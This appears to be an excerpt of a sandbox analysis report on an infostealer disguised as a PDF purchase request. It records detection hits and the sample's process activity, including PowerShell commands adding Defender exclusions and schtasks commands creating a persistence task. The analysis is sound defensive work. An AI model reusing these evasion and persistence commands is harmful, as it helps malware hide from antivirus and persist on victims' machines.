Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_08F5A228	11_2_08F5A228
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_08F5B630	11_2_08F5B630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_02B741E8	15_2_02B741E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_02B7E790	15_2_02B7E790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_02B74AB8	15_2_02B74AB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_02B73EA0	15_2_02B73EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_02B7AA50	15_2_02B7AA50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_066B5670	15_2_066B5670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_066B7E48	15_2_066B7E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_066BC238	15_2_066BC238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_066BB2E8	15_2_066BB2E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_066B66C0	15_2_066B66C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_066B3138	15_2_066B3138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_066B7768	15_2_066B7768
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_066BE460	15_2_066BE460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_066B0040	15_2_066B0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_066B2429	15_2_066B2429
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_066B5DAB	15_2_066B5DAB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_066B0006	15_2_066B0006

Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1426563917.000000000339C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1450506866.000000000A140000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1439261484.0000000008230000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1425000196.000000000149E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1429937716.0000000004B82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1429937716.0000000004B82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7deaa2c8-0175-46c6-89fa-60bdde53370e.exe4 vs REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1426563917.00000000036E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7deaa2c8-0175-46c6-89fa-60bdde53370e.exe4 vs REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000000.1402471974.0000000000F82000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameQWoCK.exeL vs REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, 00000000.00000002.1429937716.0000000004B49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Binary or memory string: OriginalFilenameQWoCK.exeL vs REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: vmPeKTe.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, 1UT6pzc0M.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, DnQOD3M.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, 01seU.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, iUDwvr7Gz.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, XUu2qKyuF6.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, aZathEIgR.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, l50VLEll22.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack, l50VLEll22.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	Security API names: _0020.AddAccessRule
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, CICuwYIYM9uBpgQHNv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	Security API names: _0020.AddAccessRule
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	Security API names: _0020.AddAccessRule
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, CICuwYIYM9uBpgQHNv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, CICuwYIYM9uBpgQHNv.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@21/15@2/2

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

File created: C:\Users\user\AppData\Roaming\vmPeKTe.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7744:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7916:120:WilError_03

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

File created: C:\Users\user\AppData\Local\Temp\tmpDF64.tmp

Jump to behavior

Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	ReversingLabs: Detection: 57%
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Virustotal: Detection: 65%

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

File read: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe"
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vmPeKTe.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpDF64.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\vmPeKTe.exe C:\Users\user\AppData\Roaming\vmPeKTe.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpF3B7.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vmPeKTe.exe"	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpDF64.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpF3B7.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: bcp47langs.dll	Jump to behavior
